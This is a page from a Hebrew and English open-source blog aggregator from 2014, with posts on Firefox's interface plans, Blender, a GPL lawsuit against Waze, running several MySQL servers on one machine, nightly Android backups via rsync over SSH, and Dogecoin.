הלאה אל העתיד – המראה החדש של הדפדפן לא צפוי להשתנות באופן ניכר בגרסאות הבאות, אבל אין זה אומר שלא יבוצעו במראה הדפדפן בגרסאות הבאות. החל משילוב תכונות מדף הלשונית החדשה בדף הפתיחה, המשך העברת חלונות יישום ללשוניות (נסו להקליד בשורת הכתובת about:permissions או about:preferences כדי לצפות במימוש החלקי עוד היום), החלפת תפריטי ההקשר הטקסטואליים בתפריט נוח יותר לשימוש שניתן להתאמה אישית בדומה ללוח התפריט החדש, יכולות הטמעה משופרות ליישומי רשת שיוצגו במסכים משלהם ללא סרגלי הדפדפן זאת כדי להתאים את המראה והתפקוד שלהם ליישומים טבעיים במערכת, ועוד ועוד, השמיים הם הגבול.

כמובן, במוזילה המשתמשים הם במרכז העניינים, ויכולים להשפיע בצורה משמעותית על כיווני ההתפתחות העתידיים של הדפדפן. למעשה, ארגון מוזילה מתנהל בשקיפות, וכל אדם הרוצה בכך יכול לצפות במרבית הפעילות של מוזילה. קוד המקור של הגרסאות הבאות של היישומים השונים כבר זמין ברשת כקוד פתוח, דיווחי התקדמות במימוש של תכונות שונות זמין לכל דורש, וכל מי שמעריכים את העקרונות של מוזילה מוזמנים ומוזמנות להצטרף לקהילה הרחבה של מוזילה ולעזור לנו לעצב את העתיד.

הטקסט המלא

22 April, 2014 04:07 AM

17 April, 2014

Yaniv Gershoni

עתיקות...


מצאתי (אחרי שכל העולם כבר פרסם את זה...) את המקלדת הוירטואלית עם קיצורי הדרך של בלנדר.
(למי שלא ראה, זה כאן: http://waldobronchart.be/blenderkeyboard)

הסתובבתי קצת בין קיצורי הדרך וראיתי פתאום שאם לוחצים על Ctrl+Alt+מקש הרווח נכנסים למצב של...
"Create Orientation"

לחצתי וקיבלתי תפריט קטנצי'ק בצד שמאל למטה שנראה כך:


מיותר לציין שזה לא עשה משהו מיוחד...
אז חיפשתי בגוגל מה זה השד הזה ולמדתי משהו חדש שלמעשה קיים עוד מהגרסאות הקדומות של בלנדר (לפחות 2.49):

פרטים נוספים »

הטקסט המלא

17 April, 2014 03:21 PM

13 April, 2014

Meir Gil

חבר חדש Darktable, או איך לעשות Post Production בכמה שניות

היי כבר המון זמן לא כתבתי בבלוג, האמת שאף פעם לא שכחתי אותו פשוט רוב הדברים שיש לי לשתף לא מצדיקים פוסט אלא יותר כמה מילים בG+. אז מה מצדיק פוסט? תחביב שיש לי זה לראות סרטוני Timelapse של יצירות בבלנדר, זה תמיד נחמד לראות גישות שונות של יצירה ואחרי שמכירים כבר את הכלים זה נחמד לראות איך עוד אפשר להשתמש בהם, אתמול ישבתי לראות את הTimelapse הזה ובסוף הסרטון אני רואה שהוא משתמש בתוכנה בשם

13 April, 2014 08:50 AM

07 April, 2014

astupidog

pySioGame - עכשיו גם בעברית

pysiogame זו חבילת משחקים לימודיים בקוד פתוח שתואמת לכל מערכות ההפעלה. המשחקים ברמות שונות ומיועדים לילדים מגיל 3 עד 10.

הטקסט המלא

07 April, 2014 06:39 AM

27 March, 2014

Jonathan Klinger

תביעה ייצוגית על הפרת זכויות יוצרים? אגוז קשה. על Waze.

תביעה ייצוגית מעניינת הוגשה כנגד Waze היום. החברה, שלאחרונה נרכשה על ידי גוגל, מתבקשת לשחרר את קוד המקור שלה ואת נתוני המפות. התובע הייצוגי, רועי גורודיש, טוען שהתוכנה שבתחילה שוחררה תחת רשיון הGPL, שהוא רשיון שמחייב את יצרנית התוכנה לספק ללקוחותיה את קוד המקור, ושהנתונים שנתרמו לWaze ניתנו גם הם ברשיון דומה. לטענתו, התחייבות זו ניתנה על ידי Freemap, האב המיילד של Waze שהרשתה את התוכנה ברשיון כפול: GPL ורשיון פרטי. בגלל קיומם של הרשיונות, התובע מבקש את קוד המקור ואת נתוני המפות של התוכנה.

[קובץ התביעה (זהירות, מסמך DOC)]

הבעיה שהתביעה הייצוגית נסובה על שני יסודות רעועים. הראשון הוא שתביעה ייצוגית לא יכולה לספק פיצויים ללא הוכחת נזק, והשני היא שלא תמיד קל לקבל מידע (ולא כסף) במסגרת תביעה ייצוגית.היסוד הראשון קל יותר להבנה. סעיף 20 לחוק תובענות ייצוגיות קובע, שחור על גבי לבן, שבתביעה ייצוגית אי אפשר לתבוע פיצוי ללא הוכחת נזק. בתי משפט פסקו ככה בעקביות (נניח, א 1379-09 פלד נ' אול יו ניד), והעקרון די עקבי עם המסקנה שתביעות ייצוגיות באות לטפל בבעיה שבה לא משתלם לתבוע בנפרד, אלא רק ביחד. אם אדם מסוים זכאי לפיצוי גבוה ללא הוכחת נזק, הרי שזה אומר שההסדר יעיל ולא צריך תביעה ייצוגית.

לכן, המסקנה הראשונית שלי היא שהתביעה ביסוד הזה לפחות תסולק.

הבקשה השניה, להצהיר שהקוד הוא חופשי ותחת רשיון ציבורי, וגם המפות, היא יותר בעייתית. על פניו, יש בשר בטענה של התובע. אבל, Waze בעצמם טוענים שבמעבר מגרסא 2 ל3 הם כתבו את כל הקוד מחדש, ושהדבר נעשה לבקשת Apple. הטענה הזו מגובה בכמה מקומות בפורומים (אלא אם Waze הטעתה את הציבור כבר אז).

הבעיה היא המעגליות: כדי להוכיח שWaze עדיין משתמשים בקוד שהוא GPLי, יצטרך התובע להראות ראיה שיש לו על ההפרה. אבל, אין לתובע את הקוד הנוכחי, ולכן כדי לקבל גישה לקוד הוא יצטרך להראות לבית המשפט שיש בסיס לטענה שלו.

כיום, אני לא חושב שיש בדל ראיה שמראה את זה, ולכן היסוד הזה גם כנראה ידחה. בתי משפט לא נותנים לתובעים כל כך מהר לראות קוד של אחרים בלי ראיה, והכי קרוב לכך היה במקרה שבו באמת שתי תוכנות נראו דומה מספיק (רעא 1068/12 דנ-אל נ' סנפיר). לכן, אני מאמין שזה יהיה אגוז קשה לפצח.[פורסם גם באנגלית]

27 March, 2014 01:19 PM

13 March, 2014

Barak Itkin

Activity, Preparing to LGM 2014

*Shaking off the dust*

It's been quite a while since I last posted here. Some will smile at the sight of this post, especially those who know why I was absent (a state which should change until October this year).

Not too far ago, I was invited to the Libre Graphics Meeting of 2014; one of the largest (if not the largest) annual gatherings of users and developers of Open-Source tools and programs for graphics. After having to turn down the invitation once or twice before due to problematic dates, this year I managed to arrange a "vacation" in the relevant dates and I'll actually be going!

Yesterday I finished all of the arrangements (including setting up ubuntu dual-boot on my laptop, which turned out to be way easier than I thought), and I can start thinking about LGM itself. It's going to be the first time I attend a real convention like this, and the fact that this first time is abroad and far from home does add it's share to my excitement :)

The program sounds very interesting and with a potential to cover many topics which I never had the chance to learn (such as color management and font design). Also meeting people whom I talked to by IRC in the last 4 years but never met in practice should be one of the greatest parts in LGM fromy my point of view.

So, before I depart, it's time for some thanks. The first of them is to the GIMP family - the people who always care, help and greet you with a smile after you were missing for some time. The second thank is to you - the (usually anonymous) supporters of GIMP; donations you make to GIMP, help also to reimbruse the traveling expenses to developer gatherings like LGM.

So, I'll see you there,
~ Barak

13 March, 2014 05:42 PM

17 February, 2014

Arie Skliarouk

Multiple mysql engines on the same server

Someone asked me for a howto on setting up multiple mysql engines on the same linux server. There are many articles on the topic, but none provides an ready-to-use set of files which one can simply grab and go.

Thus I created multiple_mysql.tar.gz file that includes all files to run four mysql engines. The configuration assumes per-database directories /opt/db-330[4567] with bin_log, mysql  and relay_log directories. The mysql directory must have mysql database with associated tables (should be copied from an existing database).

Note that the files were created on Ubuntu Lucid 10.04 and will likely not work on other distro. Also, the password in debian-330?.cnf files will be different for each DB and must be updated before use.
Use the following command to set the password:
GRANT ALL ON mysql.* to "debian-sys-maint"@"localhost" IDENTIFIED BY "dxaskDkdkSkdSDLd";

The bashrc file contains useful CLI shortcuts to common mysql commands. You are encouraged to add these to your own .bashrc file.

17 February, 2014 12:43 PM

15 February, 2014

Guy Sheffer

Automatic Nightly Backups for Your Android Device to Your Computer

Android lifevest

Android backup will keep you safe

Hey all,

Friends keep coming up to me and complaining that they had to wipe all their phone because of some attempt to do something.
However, if you give me a brand-new phone and throw mine out of a high-building window, I won’t stop you, because I have a copy of my phone at home, from that same morning, and I don’t even have to think about it.

Want to feel free again? Not scared that this small thing you carry in your pocket with all your life gets ruined? Well, here is how you do it:

Things you will need

  1. A computer running Linux you can ssh to with Rsync installed, or windows running cygwin with rsync and ssh installed.
  2. Your device needs to be rooted – I am afraid thats a requirement for Titanium backup and all programs that back up app data
  3. Titanium backup – You can use the free version for backing up, but for a single-click restore you will need to pay (I bought it and recommended you do even if its the only thing you ever buy on the play store)
  4. rsync backup for Android – This will back up all your photos and data that isn’t part of your apps, if you don’t root but this is all you want to back up, this post might help you too!
  5. Llama – lets you set location profiles

What to do

  1. On titanium backup, open the “schedules” tab and set up a “Backup all user apps + system data” schedule and tick all the days you want your apps to backup on. Pick a time when you are likely be asleep and not using the phone, for this post lets assume its 6am.
    Titanium Backup, create the backup all apps and data sechedule

    Titanium Backup, create the backup all apps and data schedule

    Titanium Backup, Set the schedule

    Titanium Backup, Set the schedule

  2. On rsync backup for android,
    1. Tap the meny key and select “get binaries
    2. Tap the menu key and select “Generate keys“, this will create for you two files, one in /sdcard/dss_key and another in /sdcard/dss_key.pub (don’t hand your friends the dss_key, its a private key).

      Rsync for android's menu

      Rsync for android’s menu

    3. Tap the menu key and select “Add Profile” and call it “Backup All”, local file or directory should point to /sdcard (or you top-level of all your memory cards).
    4. Set usename to the username on the computer you are doing the ssh to.
    5. Server (IP or hostname) should point to the IP of your PC.
    6. Dropbear SSH private key should point to /sdcard/dss_key
    7. Remote file or directory should point to a folder on your PC (make sure you mkdir -p its path, and that you have writing permissions!).
    8. In Additional rsync options write: -a --exclude external_sd/.android_secure --progress
      Update – on my new Galaxy S4 I had to include:
      -a --exclude external_sd/.android_secure --exclude emulated/0 --exclude UsbDriveA --exclude UsbDriveB --exclude UsbDriveC --exclude UsbDriveD --exclude UsbDriveE --exclude UsbDriveF --progress
    9. You can check “Close log window after job if done” so you know in the morning it ran, check “delete remote files that are no longer in source directory. Leave “rsync in reverse” and “send notification using remove notifier” unchekced. Save the new profile.
    Rsync 4 android profile page 1

    Rsync 4 android profile page 1

    Rsync 4 android profile page 2

    Rsync 4 android profile page 2

  3.  On your computer,
    1. You should have ssh and rsync installed, on ubuntu/debian do apt-get install apt-get install rsync openssh-server
    2.  Paste the line from the file /sdcard/dss_key.pub on your phone to ~/.ssh/authorized_keys file on your PC ( Note: it begins with “ssh-dss” and ends with “android@bender”, this is a single line).
    3. At this point I suggest you go to rsync 4 android and tap on the “Backup all” profile you made, make sure that indeed files are getting backed up to your folder, as seen in the picture below. The first sync takes a while, afterwards only changes would be synced. If it does not work, go over the steps above, or comment here and we can try and troubleshoot.

    Rsync for android running

    Rsync for android running

  4. On Llama, (on first use accept the boring stuff) in the “Events” tab delete all the profiles, you don’t need them (if you do want to use Llama for other things feel free to keep them).
    1. Add. New event, name it ‘backup my phone” or something like that.
    2. Add in your new event a condition between 7:00 – 7:30 (or an hour later from when you set titanium to back up)
    3. Add a condition “WiFi Network Connected” and point it to your home wifi, that way it would only work if you are at home, if you have a problem with this condition you can try and set your own way of detecting you are at home
    4. Add a condition Battery Level and set it to “Battery raises above…” and 20%, this makes sure your phone won’t run out of battery at night if unplugged.
    5. Add action “Locale plugin”and select “rsync backup for Android” then pick “Backup All” you created before.

      Llama events setup tab

      Llama events setup tab

    Thats it! Your phone should back up all its apps, and all the information on the sd cards nightly.

    I would love to hear your thoughts and comments :-)

    Links for more information


Full text

15 February, 2014 04:18 PM

10 February, 2014

astupidog

ניתוח מאמר של ענב גנד גלילי - הרשת העמוקה - סקירת ספרות

מאמר זה הינו תגובה למאמר של ענב גנד גלילי - "הרשת העמוקה – סקירת ספרות" שהתפרסם בתאריך 19 לינואר, 2014 בבלוג "אסטרטגיות ואינטרנט" (צילום מסך של המאמר שלה שנלקח בתאריך 10 לפברואר 2014 בשעה 09:24).

הטקסט המלא

10 February, 2014 12:32 PM

28 January, 2014

Jonathan Klinger

לא תמיד הראשון בשוק מנצח [דוגקוין]

0.
אחת מהנחות היסוד של שוק הסטארטאפים העולמי הוא כי מי שראשון לצאת לשוק יגרוף את הנתח המשמעותי ביותר (First Mover Advantage), יקבל את החלק הארי, ויהיה זה שמצליח. לכן, לדוגמא, סטארטאפים שיש כבר מוביל בתחום שהן מתכוונות להשיק בו עשויים להתקל בקשיי גיוס. עם כמה שהתפישה הזו פופולרית, היא לא תמיד נכונה. אתר ביזנס אינסיידר נותן כמה דוגמאות משמעותיות, אבל אני לא אתעכב דווקא עליהן.

1.
בסוף שנות התשעים השיקו שתי חברות יחסית אלמוניות שירותים יחסית מהפכניים: הראשונה היתה ICQ, שנמכרה ב1998 לאמריקה אונליין בסכום שהיה אז אגדי של כרבע מיליארד דולר. באותה התקופה, השליטה של תוכנת המסרים המיידיים היתה כמעט מונופול, עם מתחרים סוררים בודדים; דומיננטיות נוספת היתה של אתר הוטמייל, שהושק ב1996 ונרכש ב1997 על ידי מיקרוסופט. הוטמייל, באותה התקופה, היה כמעט השירות היחיד שהציע דואר אלקטרוני מבוסס רשת, והיה הפופולרי ביותר.

2.
שני השירותים האלו החזיקו זמן רב כבכירים בשוק, אבל לא לנצח. הוטמייל פינה את מקומו לשירות שהושק שמונה שנים לאחריו: ג'ימייל של גוגל, וICQ הפכה להיות עוד אות בספר ההיסטוריה שכמעט ולא תזכר, כאשר בני הנוער מתכתבים באמצעות Facebook Messenger וWhatsapp. גם המספרים שנראו לנו אז אסטרונומיים היום נשמעים מגוחכים; Whatsapp, שמספקת היום שירות מסרים מהירים, מוערכת בשווי של 11,000,000,000 דולר, פי 40 ומעלה מהשווי של ICQ. אבל הערכת השווי של Whatsapp אינה יתומה.

3.
בעשור הראשון של שנות האלפיים שלטו שתי רשתות חברתיות משמעותיות והתחרו על הקהל הצעיר: Myspace וFriendster. הראשונה, שהיתה הרשת המגניבה והאיכותית, עם עשרות מיליוני חברים, הוערכה בשיאה ב20 מיליארד דולר (ויש שטוענים שאף ב65,000,000,000 דולר); רק כדי להמכר לאחר מכן בכמה אלפיות השווי. השניה, שקדמה לטרשת החברתית השולטת היום, לא ממש שולטת או מחזיקה נתח משמעותי. וגם פייסבוק, כך השמועה אומרת, עשויה למות בקרוב ולהעביר את הבכורה לרשת אחרת.

4.
בשורה התחתונה המטרה היא לא לומר שמי שמגיע ראשון לשוק לא בהכרח יהיה המנצח, אלא משהו הרבה יותר חשוב: גם כשנראה לנו שטכנולוגיה מסוימת נמצאת בשיאה וכבשה את השוק, הדבר לא אומר זאת, אלא מדובר בעניין זמני. כשם שICQ או Myspace נראו לנו בעבר בקצה השווי, שחברות אינטרנט לא יכולות להיות שוות יותר, מגיעה פייסבוק ומחליפה את שתיהן, בשווי שגדול עשרות מונים.

5.
המסקנה הזו, שהיא בעצם ההתחלה, צריכה להגיע גם לשוק מטבעות הקריפטו. יש היום לא מעט דיונים על ביטקוין, השווי שלו, הנחיצות שלו והמשחק שלו. אבל, אנשים שוכחים שכמו הביטקוין יש עשרות, אם לא מאות, מטבעות שונים בשוק שמפותחים בצורה עצמאית ומתחרים בו. כיום, באמת, השווי של כל אחד מהמטבעות האלו נע בין מיליונית הביטקוין לעשירית ביטקוין (ויש כאלו ששווים מאות ביטקוין, אבל הם חריגים). אבל: זה לא אומר שהדבר ישאר כך גם עוד עשר שנים.

6.
אנשים עומדים כיום ואומרים "הביטקוין עוד יהיה שווה מיליון דולר ליחידה" ושוכחים, לרגע קט שיש מטבעות אחרים שיכולים עוד לטול את הבכורה; הבכורה היא לא רק מבחינת שווי המטבע היחיד, אלא דווקא בהיותן הטכנולוגיות המוצלחות יותר שיספקו אמצעי תשלום וירטואליים. לדוגמא, מטבע הדוגקוין, שהתחיל בתור בדיחה חמודה, בגלל השווי האפסי שלו (בערך מאית סנט למטבע נכון להיום), יכול לאפשר עסקאות מעניינות יותר. דווקא השווי המצחיק יכול לאפשר אימוץ מעניין ועסקאות קטנות (נניח, של חומות תשלום) או של דברים אחרים. הטכנולוגיה מאחורי ביטקוין, של כסף בקוד פתוח, כבר ניצחה. עכשיו השאלה איזה יישום של הטכנולוגיה יהיה מי ששולט בעוד חמש שנים, כשהכל יהפוך להיות מיינסטרים.

7.
רוצים להבין למה הדוגקוין נתפש כ"כיף"? וובכן, נדיר לראות מאמץ קולקטיבי של משתמשים אנונימיים לצורך מימון נבחרת מזחלות השלג של ג'מייקה, כשכל אחד נותן סכומים פעוטים, בלי כרטיסי אשראי באמצע, בלי עמלות, ולצורך משהו "כיפי". כלומר, אל תקחו דבר כמובן מאלו באינטרנט; מי שהיום מוצג בתור הטכנולוגיה השולטת יכול להשאר כזה (וPayPal, בינתיים היא הדוגמא המנצחת), אבל יכול גם להעלם וללכת בדרכה של ICQ.

בהערת אגב: יחד עם העיצוב החדש לבלוג, הוספתי את האפשרות ליתן תשורה קלה באמצעות ביטקוין ודוגקוין. התשורות אינן חובה, והמטרה שלהן היא להראות כמה אתם מרוצים או לא מרוצים מהקריאה כאן. אני אשמח אם תראו שאתם אוהבים, ותתנו דוגקוין אחד, שהוא בערך 0.01 סנט, כל פעם שאתם קוראים משהו.

28 January, 2014 12:34 PM